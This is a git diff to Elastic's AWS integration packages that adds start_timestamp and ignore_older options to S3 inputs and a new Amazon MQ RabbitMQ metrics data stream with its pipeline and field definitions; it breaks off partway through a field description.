a/packages/aws/data_stream/elb_logs/agent/stream/aws-s3.yml.hbs b/packages/aws/data_stream/elb_logs/agent/stream/aws-s3.yml.hbs index 34bfdcd9984..08a891bd02c 100644 --- a/packages/aws/data_stream/elb_logs/agent/stream/aws-s3.yml.hbs +++ b/packages/aws/data_stream/elb_logs/agent/stream/aws-s3.yml.hbs @@ -14,6 +14,12 @@ bucket_list_interval: {{interval}} {{#if bucket_list_prefix}} bucket_list_prefix: {{bucket_list_prefix}} {{/if}} +{{#if start_timestamp}} +start_timestamp: {{start_timestamp}} +{{/if}} +{{#if ignore_older}} +ignore_older: {{ignore_older}} +{{/if}} {{else}} diff --git a/packages/aws/data_stream/elb_logs/manifest.yml b/packages/aws/data_stream/elb_logs/manifest.yml index aa09dadc48a..10d2c6b6183 100644 --- a/packages/aws/data_stream/elb_logs/manifest.yml +++ b/packages/aws/data_stream/elb_logs/manifest.yml @@ -51,6 +51,20 @@ streams: show_user: false default: 5 description: Number of workers that will process the S3 objects listed. + - name: start_timestamp + type: text + title: "[S3] Start Timestamp" + multi: false + required: false + show_user: false + description: If set, only read S3 objects with last modified timestamp newer than the given timestamp. Accepts a timestamp in `YYYY-MM-DDTHH:MM:SSZ` format. For example, "2020-10-10T10:30:00Z" (UTC) or "2020-10-10T10:30:00Z+02:30" (with zone offset). + - name: ignore_older + type: text + title: "[S3] Ignore Older Timespan" + multi: false + required: false + show_user: false + description: If set, ignore S3 objects whose Last-Modified time is before the ignore older timespan. Timespan is checked from the current time to S3 object's Last-Modified time. Accepts a duration like `48h`, `2h30m`. - name: visibility_timeout type: text title: "[SQS] Visibility Timeout" diff --git a/packages/aws/data_stream/emr_logs/agent/stream/aws-s3.yml.hbs b/packages/aws/data_stream/emr_logs/agent/stream/aws-s3.yml.hbs index bc80de3f551..2e68e0cbb11 100644 --- a/packages/aws/data_stream/emr_logs/agent/stream/aws-s3.yml.hbs +++ b/packages/aws/data_stream/emr_logs/agent/stream/aws-s3.yml.hbs @@ -14,6 +14,12 @@ bucket_list_interval: {{interval}} {{#if bucket_list_prefix}} bucket_list_prefix: {{bucket_list_prefix}} {{/if}} +{{#if start_timestamp}} +start_timestamp: {{start_timestamp}} +{{/if}} +{{#if ignore_older}} +ignore_older: {{ignore_older}} +{{/if}} {{else}} diff --git a/packages/aws/data_stream/emr_logs/manifest.yml b/packages/aws/data_stream/emr_logs/manifest.yml index 3587816c851..5970c2b6af4 100644 --- a/packages/aws/data_stream/emr_logs/manifest.yml +++ b/packages/aws/data_stream/emr_logs/manifest.yml @@ -29,6 +29,20 @@ streams: required: false show_user: true description: Mandatory if the "Collect logs via S3 Bucket" switch is on. It is a required parameter for collecting logs via the AWS S3 Bucket unless you set a Bucket ARN. + - name: start_timestamp + type: text + title: "[S3] Start Timestamp" + multi: false + required: false + show_user: false + description: If set, only read S3 objects with last modified timestamp newer than the given timestamp. Accepts a timestamp in `YYYY-MM-DDTHH:MM:SSZ` format. For example, "2020-10-10T10:30:00Z" (UTC) or "2020-10-10T10:30:00Z+02:30" (with zone offset). + - name: ignore_older + type: text + title: "[S3] Ignore Older Timespan" + multi: false + required: false + show_user: false + description: If set, ignore S3 objects whose Last-Modified time is before the ignore older timespan. Timespan is checked from the current time to S3 object's Last-Modified time. Accepts a duration like `48h`, `2h30m`. - name: queue_url type: text title: "[SQS] Queue URL" diff --git a/packages/aws/data_stream/firewall_logs/agent/stream/aws-s3.yml.hbs b/packages/aws/data_stream/firewall_logs/agent/stream/aws-s3.yml.hbs index 9a9a527ec10..639d11a5270 100644 --- a/packages/aws/data_stream/firewall_logs/agent/stream/aws-s3.yml.hbs +++ b/packages/aws/data_stream/firewall_logs/agent/stream/aws-s3.yml.hbs @@ -14,6 +14,12 @@ bucket_list_interval: {{interval}} {{#if bucket_list_prefix}} bucket_list_prefix: {{bucket_list_prefix}} {{/if}} +{{#if start_timestamp}} +start_timestamp: {{start_timestamp}} +{{/if}} +{{#if ignore_older}} +ignore_older: {{ignore_older}} +{{/if}} {{else}} diff --git a/packages/aws/data_stream/firewall_logs/manifest.yml b/packages/aws/data_stream/firewall_logs/manifest.yml index 031ba72deda..f3e1c775039 100644 --- a/packages/aws/data_stream/firewall_logs/manifest.yml +++ b/packages/aws/data_stream/firewall_logs/manifest.yml @@ -51,6 +51,20 @@ streams: show_user: false default: 5 description: Number of workers that will process the S3 objects listed. + - name: start_timestamp + type: text + title: "[S3] Start Timestamp" + multi: false + required: false + show_user: false + description: If set, only read S3 objects with last modified timestamp newer than the given timestamp. Accepts a timestamp in `YYYY-MM-DDTHH:MM:SSZ` format. For example, "2020-10-10T10:30:00Z" (UTC) or "2020-10-10T10:30:00Z+02:30" (with zone offset). + - name: ignore_older + type: text + title: "[S3] Ignore Older Timespan" + multi: false + required: false + show_user: false + description: If set, ignore S3 objects whose Last-Modified time is before the ignore older timespan. Timespan is checked from the current time to S3 object's Last-Modified time. Accepts a duration like `48h`, `2h30m`. - name: visibility_timeout type: text title: "[SQS] Visibility Timeout" diff --git a/packages/aws/data_stream/guardduty/agent/stream/aws-s3.yml.hbs b/packages/aws/data_stream/guardduty/agent/stream/aws-s3.yml.hbs index 9c846628a06..6dcf050cbe0 100644 --- a/packages/aws/data_stream/guardduty/agent/stream/aws-s3.yml.hbs +++ b/packages/aws/data_stream/guardduty/agent/stream/aws-s3.yml.hbs @@ -14,6 +14,12 @@ bucket_list_interval: {{interval}} {{#if bucket_list_prefix}} bucket_list_prefix: {{bucket_list_prefix}} {{/if}} +{{#if start_timestamp}} +start_timestamp: {{start_timestamp}} +{{/if}} +{{#if ignore_older}} +ignore_older: {{ignore_older}} +{{/if}} {{else}} diff --git a/packages/aws/data_stream/guardduty/manifest.yml b/packages/aws/data_stream/guardduty/manifest.yml index 56d3fc8768e..af747a8c57d 100644 --- a/packages/aws/data_stream/guardduty/manifest.yml +++ b/packages/aws/data_stream/guardduty/manifest.yml @@ -167,6 +167,20 @@ streams: show_user: true default: 5 description: Number of workers that will process the S3 objects listed. + - name: start_timestamp + type: text + title: "[S3] Start Timestamp" + multi: false + required: false + show_user: false + description: If set, only read S3 objects with last modified timestamp newer than the given timestamp. Accepts a timestamp in `YYYY-MM-DDTHH:MM:SSZ` format. For example, "2020-10-10T10:30:00Z" (UTC) or "2020-10-10T10:30:00Z+02:30" (with zone offset). + - name: ignore_older + type: text + title: "[S3] Ignore Older Timespan" + multi: false + required: false + show_user: false + description: If set, ignore S3 objects whose Last-Modified time is before the ignore older timespan. Timespan is checked from the current time to S3 object's Last-Modified time. Accepts a duration like `48h`, `2h30m`. - name: queue_url type: text title: "[SQS] Queue URL" diff --git a/packages/aws/data_stream/route53_resolver_logs/agent/stream/aws-s3.yml.hbs b/packages/aws/data_stream/route53_resolver_logs/agent/stream/aws-s3.yml.hbs index 99975fa009b..fe827d5404e 100644 --- a/packages/aws/data_stream/route53_resolver_logs/agent/stream/aws-s3.yml.hbs +++ b/packages/aws/data_stream/route53_resolver_logs/agent/stream/aws-s3.yml.hbs @@ -14,6 +14,12 @@ bucket_list_interval: {{interval}} {{#if bucket_list_prefix}} bucket_list_prefix: {{bucket_list_prefix}} {{/if}} +{{#if start_timestamp}} +start_timestamp: {{start_timestamp}} +{{/if}} +{{#if ignore_older}} +ignore_older: {{ignore_older}} +{{/if}} {{else}} diff --git a/packages/aws/data_stream/route53_resolver_logs/manifest.yml b/packages/aws/data_stream/route53_resolver_logs/manifest.yml index 553b8633c25..5ef18b5241c 100644 --- a/packages/aws/data_stream/route53_resolver_logs/manifest.yml +++ b/packages/aws/data_stream/route53_resolver_logs/manifest.yml @@ -174,6 +174,20 @@ streams: show_user: false default: 5 description: Number of workers that will process the S3 objects listed. + - name: start_timestamp + type: text + title: "[S3] Start Timestamp" + multi: false + required: false + show_user: false + description: If set, only read S3 objects with last modified timestamp newer than the given timestamp. Accepts a timestamp in `YYYY-MM-DDTHH:MM:SSZ` format. For example, "2020-10-10T10:30:00Z" (UTC) or "2020-10-10T10:30:00Z+02:30" (with zone offset). + - name: ignore_older + type: text + title: "[S3] Ignore Older Timespan" + multi: false + required: false + show_user: false + description: If set, ignore S3 objects whose Last-Modified time is before the ignore older timespan. Timespan is checked from the current time to S3 object's Last-Modified time. Accepts a duration like `48h`, `2h30m`. - name: visibility_timeout type: text title: "[SQS] Visibility Timeout" diff --git a/packages/aws/data_stream/s3access/agent/stream/aws-s3.yml.hbs b/packages/aws/data_stream/s3access/agent/stream/aws-s3.yml.hbs index 34bfdcd9984..08a891bd02c 100644 --- a/packages/aws/data_stream/s3access/agent/stream/aws-s3.yml.hbs +++ b/packages/aws/data_stream/s3access/agent/stream/aws-s3.yml.hbs @@ -14,6 +14,12 @@ bucket_list_interval: {{interval}} {{#if bucket_list_prefix}} bucket_list_prefix: {{bucket_list_prefix}} {{/if}} +{{#if start_timestamp}} +start_timestamp: {{start_timestamp}} +{{/if}} +{{#if ignore_older}} +ignore_older: {{ignore_older}} +{{/if}} {{else}} diff --git a/packages/aws/data_stream/s3access/manifest.yml b/packages/aws/data_stream/s3access/manifest.yml index 9dcb9b0ad62..142bfb8be06 100644 --- a/packages/aws/data_stream/s3access/manifest.yml +++ b/packages/aws/data_stream/s3access/manifest.yml @@ -51,6 +51,20 @@ streams: show_user: false default: 5 description: Number of workers that will process the S3 objects listed. + - name: start_timestamp + type: text + title: "[S3] Start Timestamp" + multi: false + required: false + show_user: false + description: If set, only read S3 objects with last modified timestamp newer than the given timestamp. Accepts a timestamp in `YYYY-MM-DDTHH:MM:SSZ` format. For example, "2020-10-10T10:30:00Z" (UTC) or "2020-10-10T10:30:00Z+02:30" (with zone offset). + - name: ignore_older + type: text + title: "[S3] Ignore Older Timespan" + multi: false + required: false + show_user: false + description: If set, ignore S3 objects whose Last-Modified time is before the ignore older timespan. Timespan is checked from the current time to S3 object's Last-Modified time. Accepts a duration like `48h`, `2h30m`. - name: visibility_timeout type: text title: "[SQS] Visibility Timeout" diff --git a/packages/aws/data_stream/vpcflow/agent/stream/aws-s3.yml.hbs b/packages/aws/data_stream/vpcflow/agent/stream/aws-s3.yml.hbs index b3090c8cf3d..72afa4a2685 100644 --- a/packages/aws/data_stream/vpcflow/agent/stream/aws-s3.yml.hbs +++ b/packages/aws/data_stream/vpcflow/agent/stream/aws-s3.yml.hbs @@ -14,6 +14,12 @@ bucket_list_interval: {{interval}} {{#if bucket_list_prefix}} bucket_list_prefix: {{bucket_list_prefix}} {{/if}} +{{#if start_timestamp}} +start_timestamp: {{start_timestamp}} +{{/if}} +{{#if ignore_older}} +ignore_older: {{ignore_older}} +{{/if}} {{else}} diff --git a/packages/aws/data_stream/vpcflow/manifest.yml b/packages/aws/data_stream/vpcflow/manifest.yml index 5cae11902bf..ea07e3d2189 100644 --- a/packages/aws/data_stream/vpcflow/manifest.yml +++ b/packages/aws/data_stream/vpcflow/manifest.yml @@ -59,6 +59,20 @@ streams: show_user: false default: 5 description: Number of workers that will process the S3 objects listed. + - name: start_timestamp + type: text + title: "[S3] Start Timestamp" + multi: false + required: false + show_user: false + description: If set, only read S3 objects with last modified timestamp newer than the given timestamp. Accepts a timestamp in `YYYY-MM-DDTHH:MM:SSZ` format. For example, "2020-10-10T10:30:00Z" (UTC) or "2020-10-10T10:30:00Z+02:30" (with zone offset). + - name: ignore_older + type: text + title: "[S3] Ignore Older Timespan" + multi: false + required: false + show_user: false + description: If set, ignore S3 objects whose Last-Modified time is before the ignore older timespan. Timespan is checked from the current time to S3 object's Last-Modified time. Accepts a duration like `48h`, `2h30m`. - name: visibility_timeout type: text title: "[SQS] Visibility Timeout" diff --git a/packages/aws/data_stream/waf/agent/stream/aws-s3.yml.hbs b/packages/aws/data_stream/waf/agent/stream/aws-s3.yml.hbs index 34bfdcd9984..08a891bd02c 100644 --- a/packages/aws/data_stream/waf/agent/stream/aws-s3.yml.hbs +++ b/packages/aws/data_stream/waf/agent/stream/aws-s3.yml.hbs @@ -14,6 +14,12 @@ bucket_list_interval: {{interval}} {{#if bucket_list_prefix}} bucket_list_prefix: {{bucket_list_prefix}} {{/if}} +{{#if start_timestamp}} +start_timestamp: {{start_timestamp}} +{{/if}} +{{#if ignore_older}} +ignore_older: {{ignore_older}} +{{/if}} {{else}} diff --git a/packages/aws/data_stream/waf/manifest.yml b/packages/aws/data_stream/waf/manifest.yml index f52af2c88e3..964febed84e 100644 --- a/packages/aws/data_stream/waf/manifest.yml +++ b/packages/aws/data_stream/waf/manifest.yml @@ -51,6 +51,20 @@ streams: show_user: false default: 5 description: Number of workers that will process the S3 objects listed. + - name: start_timestamp + type: text + title: "[S3] Start Timestamp" + multi: false + required: false + show_user: false + description: If set, only read S3 objects with last modified timestamp newer than the given timestamp. Accepts a timestamp in `YYYY-MM-DDTHH:MM:SSZ` format. For example, "2020-10-10T10:30:00Z" (UTC) or "2020-10-10T10:30:00Z+02:30" (with zone offset). + - name: ignore_older + type: text + title: "[S3] Ignore Older Timespan" + multi: false + required: false + show_user: false + description: If set, ignore S3 objects whose Last-Modified time is before the ignore older timespan. Timespan is checked from the current time to S3 object's Last-Modified time. Accepts a duration like `48h`, `2h30m`. - name: visibility_timeout type: text title: "[SQS] Visibility Timeout" diff --git a/packages/aws/manifest.yml b/packages/aws/manifest.yml index 889d7064fef..30ac9ebd2b5 100644 --- a/packages/aws/manifest.yml +++ b/packages/aws/manifest.yml @@ -1,7 +1,7 @@ format_version: 3.3.1 name: aws title: AWS -version: 2.41.1 +version: 2.42.0 description: Collect logs and metrics from Amazon Web Services (AWS) with Elastic Agent. type: integration categories: @@ -11,7 +11,7 @@ conditions: elastic: subscription: basic kibana: - version: "^8.16.2 || ^9.0.0" + version: "^8.16.5 || ^9.0.0" screenshots: - src: /img/metricbeat-aws-overview.png title: metricbeat aws overview diff --git a/packages/aws_bedrock/changelog.yml b/packages/aws_bedrock/changelog.yml index 5cfd34e8fb1..c8da1c8e2a5 100644 --- a/packages/aws_bedrock/changelog.yml +++ b/packages/aws_bedrock/changelog.yml @@ -1,3 +1,13 @@ +- version: "1.2.0" + changes: + - description: Add support to configure start_timestamp and ignore_older configurations for AWS S3 backed inputs. + type: enhancement + link: https://github.com/elastic/integrations/pull/12645 +- version: "1.1.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "1.0.1" changes: - description: Add guardrail policy action details in the guardrails dashboard. diff --git a/packages/aws_bedrock/data_stream/invocation/agent/stream/aws-s3.yml.hbs b/packages/aws_bedrock/data_stream/invocation/agent/stream/aws-s3.yml.hbs index ff557e78200..c1eaca3deeb 100644 --- a/packages/aws_bedrock/data_stream/invocation/agent/stream/aws-s3.yml.hbs +++ b/packages/aws_bedrock/data_stream/invocation/agent/stream/aws-s3.yml.hbs @@ -33,6 +33,14 @@ bucket_list_prefix: {{ bucket_list_prefix }} bucket_list_interval: {{ bucket_list_interval }} {{/if}} +{{#if start_timestamp}} +start_timestamp: {{start_timestamp}} +{{/if}} + +{{#if ignore_older}} +ignore_older: {{ignore_older}} +{{/if}} + {{! AWS S3 bucket ARN options }} {{#unless non_aws_bucket_name}} {{#unless access_point_arn}} diff --git a/packages/aws_bedrock/data_stream/invocation/manifest.yml b/packages/aws_bedrock/data_stream/invocation/manifest.yml index 4aedfc11fca..35d94ce0d24 100644 --- a/packages/aws_bedrock/data_stream/invocation/manifest.yml +++ b/packages/aws_bedrock/data_stream/invocation/manifest.yml @@ -171,6 +171,20 @@ streams: default: 1 show_user: true description: Number of workers that will process the S3 objects listed. (Required when `bucket_arn` or `access_point_arn` are set). + - name: start_timestamp + type: text + title: "Start Timestamp" + multi: false + required: false + show_user: false + description: If set, only read S3 objects with last modified timestamp newer than the given timestamp. Accepts a timestamp in `YYYY-MM-DDTHH:MM:SSZ` format. For example, "2020-10-10T10:30:00Z" (UTC) or "2020-10-10T10:30:00Z+02:30" (with zone offset). + - name: ignore_older + type: text + title: "Ignore Older Timespan" + multi: false + required: false + show_user: false + description: If set, ignore S3 objects whose Last-Modified time is before the ignore older timespan. Timespan is checked from the current time to S3 object's Last-Modified time. Accepts a duration like `48h`, `2h30m`. - name: bucket_list_interval type: text title: Bucket List Interval diff --git a/packages/aws_bedrock/manifest.yml b/packages/aws_bedrock/manifest.yml index 244c85b6de6..37fd1b4fe31 100644 --- a/packages/aws_bedrock/manifest.yml +++ b/packages/aws_bedrock/manifest.yml @@ -3,7 +3,7 @@ name: aws_bedrock title: Amazon Bedrock description: Collect Amazon Bedrock model invocation logs and runtime metrics with Elastic Agent. type: integration -version: "1.0.1" +version: "1.2.0" categories: - aws - cloud @@ -11,7 +11,7 @@ categories: - security conditions: kibana: - version: "^8.16.2" + version: "^8.16.5 || ^9.0.0" elastic: subscription: basic policy_templates: diff --git a/packages/aws_logs/changelog.yml b/packages/aws_logs/changelog.yml index c59c3090d7e..2f049ff4510 100644 --- a/packages/aws_logs/changelog.yml +++ b/packages/aws_logs/changelog.yml @@ -1,6 +1,11 @@ +- version: "1.8.0" + changes: + - description: Add support to configure start_timestamp and ignore_older configurations for AWS S3 backed inputs. + type: enhancement + link: https://github.com/elastic/integrations/pull/12645 - version: 1.7.0 changes: - - description: Add support for Kibana `9.0.0` + - description: Add support for Kibana `9.0.0` type: enhancement link: https://github.com/elastic/integrations/pull/12637 - version: "1.6.1" diff --git a/packages/aws_logs/data_stream/generic/agent/stream/aws-s3.yml.hbs b/packages/aws_logs/data_stream/generic/agent/stream/aws-s3.yml.hbs index 4bace235add..aa51a89e23d 100644 --- a/packages/aws_logs/data_stream/generic/agent/stream/aws-s3.yml.hbs +++ b/packages/aws_logs/data_stream/generic/agent/stream/aws-s3.yml.hbs @@ -31,6 +31,14 @@ When using an S3 bucket, you can specify only one of the following options: number_of_workers: {{ number_of_workers }} {{/if}} +{{#if start_timestamp}} +start_timestamp: {{start_timestamp}} +{{/if}} + +{{#if ignore_older}} +ignore_older: {{ignore_older}} +{{/if}} + {{#if bucket_list_prefix }} bucket_list_prefix: {{ bucket_list_prefix }} {{/if}} diff --git a/packages/aws_logs/data_stream/generic/manifest.yml b/packages/aws_logs/data_stream/generic/manifest.yml index 722cddd7509..195bd336477 100644 --- a/packages/aws_logs/data_stream/generic/manifest.yml +++ b/packages/aws_logs/data_stream/generic/manifest.yml @@ -185,6 +185,20 @@ streams: default: 1 show_user: true description: Number of workers that will process the S3 objects listed. (Required when `bucket_arn` or `access_point_arn` are set). + - name: start_timestamp + type: text + title: "Start Timestamp" + multi: false + required: false + show_user: false + description: If set, only read S3 objects with last modified timestamp newer than the given timestamp. Accepts a timestamp in `YYYY-MM-DDTHH:MM:SSZ` format. For example, "2020-10-10T10:30:00Z" (UTC) or "2020-10-10T10:30:00Z+02:30" (with zone offset). + - name: ignore_older + type: text + title: "Ignore Older Timespan" + multi: false + required: false + show_user: false + description: If set, ignore S3 objects whose Last-Modified time is before the ignore older timespan. Timespan is checked from the current time to S3 object's Last-Modified time. Accepts a duration like `48h`, `2h30m`. - name: bucket_list_interval type: text title: Bucket List Interval diff --git a/packages/aws_logs/manifest.yml b/packages/aws_logs/manifest.yml index 631226d9506..ef6b934f14f 100644 --- a/packages/aws_logs/manifest.yml +++ b/packages/aws_logs/manifest.yml @@ -3,7 +3,7 @@ name: aws_logs title: Custom AWS Logs description: Collect raw logs from AWS S3 or CloudWatch with Elastic Agent. type: integration -version: "1.7.0" +version: "1.8.0" categories: - cloud - observability @@ -11,7 +11,7 @@ categories: - aws conditions: kibana: - version: "^8.16.2 || ^9.0.0" + version: "^8.16.5 || ^9.0.0" elastic: subscription: basic policy_templates: diff --git a/packages/aws_mq/_dev/build/docs/README.md b/packages/aws_mq/_dev/build/docs/README.md index ffa8d52bd8a..45690a2abfb 100644 --- a/packages/aws_mq/_dev/build/docs/README.md +++ b/packages/aws_mq/_dev/build/docs/README.md @@ -11,15 +11,16 @@ The Amazon MQ integration allows you to efficiently collect and monitor broker p ## Compatibility -This integration presently supports Amazon MQ for [Apache ActiveMQ](http://activemq.apache.org/) metrics. +This integration presently supports Amazon MQ for [Apache ActiveMQ](http://activemq.apache.org/) and [RabbitMQ](https://www.rabbitmq.com/) metrics. ## Data streams -The Amazon MQ integration collects Apache ActiveMQ metrics. +The Amazon MQ integration collects Apache ActiveMQ and RabbitMQ metrics. Data streams: - `activemq_metrics`: Collects broker metrics and destination (queue and topic) metrics. + - `rabbitmq_metrics`: Collects broker, queue and node metrics. ## Requirements @@ -48,9 +49,9 @@ documentation](https://docs.elastic.co/integrations/aws#requirements). ## Metrics -### ActiveMQ Metrics +### ActiveMQ metrics -Amazon MQ provides a range of broker and queue metrics that help monitor system performance, resource utilization, and message flow. These metrics can be used for various use cases, including: +Amazon MQ for ActiveMQ provides a range of broker and queue metrics that help monitor system performance, resource utilization, and message flow. These metrics can be used for various use cases, including: - Tracking broker resource utilization, such as compute, memory, and storage. - Monitoring message throughput and queue performance. @@ -65,4 +66,16 @@ The following metrics are related to [Amazon MQ quotas](https://docs.aws.amazon. - WsMaximumConnections {{event "activemq_metrics"}} -{{fields "activemq_metrics"}} \ No newline at end of file +{{fields "activemq_metrics"}} + + +### RabbitMQ metrics + +Amazon MQ for RabbitMQ offers a variety of broker and queue metrics to monitor system performance, resource utilization, and message flow. These metrics are essential for: + +- Assessing broker resource usage, including CPU, memory, and storage. +- Tracking message rates and queue depths to ensure efficient message processing. +- Analyzing connection counts and consumer activity to optimize messaging workloads. + +{{event "rabbitmq_metrics"}} +{{fields "rabbitmq_metrics"}} \ No newline at end of file diff --git a/packages/aws_mq/changelog.yml b/packages/aws_mq/changelog.yml index 960d12e166a..8110ead9b97 100644 --- a/packages/aws_mq/changelog.yml +++ b/packages/aws_mq/changelog.yml @@ -1,3 +1,13 @@ +- version: "0.3.0" + changes: + - description: Add rabbitmq_metrics dataset for RabbitMQ metrics. + type: enhancement + link: https://github.com/elastic/integrations/pull/12924 +- version: "0.2.0" + changes: + - description: Add ActiveMQ overview dashboard. + type: enhancement + link: https://github.com/elastic/integrations/pull/12862 - version: "0.1.0" changes: - description: Initial draft of the package. Add activemq_metrics dataset for ActiveMQ metrics. diff --git a/packages/aws_mq/data_stream/rabbitmq_metrics/agent/stream/stream.yml.hbs b/packages/aws_mq/data_stream/rabbitmq_metrics/agent/stream/stream.yml.hbs new file mode 100644 index 00000000000..e2ce781a60b --- /dev/null +++ b/packages/aws_mq/data_stream/rabbitmq_metrics/agent/stream/stream.yml.hbs @@ -0,0 +1,77 @@ +metricsets: ["cloudwatch"] +period: {{period}} +{{#if data_granularity}} +data_granularity: {{data_granularity}} +{{/if}} +{{#if include_linked_accounts}} +include_linked_accounts: {{include_linked_accounts}} +{{#if owning_account}} +owning_account: "{{owning_account}}" +{{/if}} +{{/if}} +{{#if access_key_id}} +access_key_id: {{access_key_id}} +{{/if}} +{{#if secret_access_key}} +secret_access_key: {{secret_access_key}} +{{/if}} +{{#if session_token}} +session_token: {{session_token}} +{{/if}} +{{#if credential_profile_name}} +credential_profile_name: {{credential_profile_name}} +{{/if}} +{{#if shared_credential_file}} +shared_credential_file: {{shared_credential_file}} +{{/if}} +{{#if role_arn}} +role_arn: {{role_arn}} +{{/if}} +{{#if default_region}} +default_region: {{default_region}} +{{/if}} +{{#if regions}} +regions: +{{#each regions as |region|}} +- {{region}} +{{/each}} +{{/if}} +{{#if latency}} +latency: {{latency}} +{{/if}} +{{#if tags_filter}} +tags_filter: {{tags_filter}} +{{/if}} +{{#if proxy_url }} +proxy_url: {{proxy_url}} +{{/if}} +{{#if processors}} +processors: +{{processors}} +{{/if}} +metrics: +- namespace: AWS/AmazonMQ + statistic: ["Maximum"] + name: + - ExchangeCount + - QueueCount + - ConnectionCount + - ChannelCount + - ConsumerCount + - MessageCount + - MessageReadyCount + - MessageUnacknowledgedCount + - PublishRate + - ConfirmRate + - AckRate + - SystemCpuUtilization + - RabbitMQMemLimit + - RabbitMQMemUsed + - RabbitMQDiskFreeLimit + - RabbitMQFdUsed + - RabbitMQIOReadAverageTime + - RabbitMQIOWriteAverageTime +- namespace: AWS/AmazonMQ + statistic: ["Minimum"] + name: + - RabbitMQDiskFree diff --git a/packages/aws_mq/data_stream/rabbitmq_metrics/elasticsearch/ingest_pipeline/default.yml b/packages/aws_mq/data_stream/rabbitmq_metrics/elasticsearch/ingest_pipeline/default.yml new file mode 100644 index 00000000000..bc184069c7f --- /dev/null +++ b/packages/aws_mq/data_stream/rabbitmq_metrics/elasticsearch/ingest_pipeline/default.yml @@ -0,0 +1,45 @@ +--- +description: Pipeline of RabbitMQ metrics +processors: + - dot_expander: + field: "*" + ignore_failure: true + - drop: + description: "To drop the documents having RabbitMQ metrics" + if: > + ctx.aws?.amazonmq?.metrics?.size() == 1 && + ctx.aws.amazonmq.metrics.ConsumerCount?.max != null + ignore_failure: true + - rename: + field: "aws.amazonmq.metrics" + target_field: "aws.amazonmq.metrics.rabbitmq.broker" + ignore_missing: true + if: > + ctx.aws?.dimensions?.Broker != null && + (ctx.aws?.dimensions?.Node == null && ctx.aws?.dimensions?.Queue == null ) + - rename: + field: "aws.amazonmq.metrics" + target_field: "aws.amazonmq.metrics.rabbitmq.node" + ignore_missing: true + if: > + ctx.aws?.dimensions?.Broker != null && + (ctx.aws?.dimensions?.Node != null ) + - rename: + field: "aws.amazonmq.metrics" + target_field: "aws.amazonmq.metrics.rabbitmq.queue" + ignore_missing: true + if: > + ctx.aws?.dimensions?.Broker != null && + (ctx.aws?.dimensions?.Queue != null ) + +on_failure: + - set: + field: event.kind + value: pipeline_error + - append: + field: tags + value: preserve_original_event + allow_duplicates: false + - set: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' diff --git a/packages/aws_mq/data_stream/rabbitmq_metrics/fields/base-fields.yml b/packages/aws_mq/data_stream/rabbitmq_metrics/fields/base-fields.yml new file mode 100644 index 00000000000..f37be4742c0 --- /dev/null +++ b/packages/aws_mq/data_stream/rabbitmq_metrics/fields/base-fields.yml @@ -0,0 +1,16 @@ +- name: data_stream.type + type: constant_keyword + description: Data stream type. +- name: data_stream.dataset + type: constant_keyword + description: Data stream dataset. +- name: data_stream.namespace + type: constant_keyword + description: Data stream namespace. +- name: '@timestamp' + type: date + description: Event timestamp. +- name: event.module + type: constant_keyword + external: ecs + value: aws \ No newline at end of file diff --git a/packages/aws_mq/data_stream/rabbitmq_metrics/fields/ecs.yml b/packages/aws_mq/data_stream/rabbitmq_metrics/fields/ecs.yml new file mode 100644 index 00000000000..303e169c534 --- /dev/null +++ b/packages/aws_mq/data_stream/rabbitmq_metrics/fields/ecs.yml @@ -0,0 +1,9 @@ +- external: ecs + name: cloud.account.id + dimension: true +- external: ecs + name: cloud.region + dimension: true +- name: agent.id + external: ecs + dimension: true diff --git a/packages/aws_mq/data_stream/rabbitmq_metrics/fields/fields.yml b/packages/aws_mq/data_stream/rabbitmq_metrics/fields/fields.yml new file mode 100644 index 00000000000..2ffdb5a75e0 --- /dev/null +++ b/packages/aws_mq/data_stream/rabbitmq_metrics/fields/fields.yml @@ -0,0 +1,176 @@ +- name: aws + type: group + fields: + - name: dimensions + type: group + fields: + - name: Broker + description: The name of the broker. + type: keyword + dimension: true + - name: Node + description: The name of the node. + type: keyword + dimension: true + - name: Queue + description: The name of the queue. + type: keyword + dimension: true + - name: VirtualHost + description: The name of the virtual host. + type: keyword + dimension: true + - name: cloudwatch.namespace + type: keyword + description: The namespace specified when query cloudwatch api. + - name: amazonmq.metrics.rabbitmq + type: group + fields: + - name: broker + type: group + fields: + - name: ExchangeCount.max + metric_type: gauge + type: long + description: The total number of exchanges configured on the broker. + - name: QueueCount.max + metric_type: gauge + type: long + description: The total number of queues configured on the broker. + - name: ConnectionCount.max + metric_type: gauge + type: long + description: The total number of connections established on the broker. + - name: ChannelCount.max + metric_type: gauge + type: long + description: The total number of channels established on the broker. + - name: ConsumerCount.max + metric_type: gauge + type: long + description: The total number of consumers connected to the broker. + - name: MessageCount.max + metric_type: gauge + type: long + description: The total number of messages in the queues. + - name: MessageReadyCount.max + metric_type: gauge + type: long + description: The total number of ready messages in the queues. + - name: MessageUnacknowledgedCount.max + metric_type: gauge + type: long + description: The total number of unacknowledged messages in the queues. + - name: PublishRate.max + metric_type: gauge + type: long + description: The rate at which messages are published to the broker. + - name: ConfirmRate.max + metric_type: gauge + type: long + description: The rate at which the RabbitMQ server is confirming published messages. + - name: AckRate.max + metric_type: gauge + type: long + description: The rate at which messages are being acknowledged by consumers. + - name: SystemCpuUtilization.max + metric_type: gauge + type: long + unit: percent + description: The percentage of allocated Amazon EC2 compute units that the broker currently uses. For cluster deployments, this value represents the aggregate of all three RabbitMQ nodes' corresponding metric values. + - name: RabbitMQMemLimit.max + metric_type: gauge + type: long + unit: byte + description: The RAM limit for a RabbitMQ broker. For cluster deployments, this value represents the aggregate of all RabbitMQ nodes' corresponding metric values. + - name: RabbitMQMemUsed.max + metric_type: gauge + type: long + unit: byte + description: The volume of RAM used by a RabbitMQ broker. For cluster deployments, this value represents the aggregate of all RabbitMQ nodes' corresponding metric values. + - name: RabbitMQDiskFreeLimit.max + metric_type: gauge + type: long + unit: byte + description: The disk limit for a RabbitMQ broker. For cluster deployments, this value represents the aggregate of all RabbitMQ nodes' corresponding metric values. + - name: RabbitMQDiskFree.min + metric_type: gauge + type: long + unit: byte + description: The total volume of free disk space available in a RabbitMQ broker. For cluster deployments, this value represents the aggregate of all RabbitMQ nodes' corresponding metric values. + - name: RabbitMQFdUsed.max + metric_type: gauge + type: long + description: The number of file descriptors used. For cluster deployments, this value represents the aggregate of all RabbitMQ nodes' corresponding metric 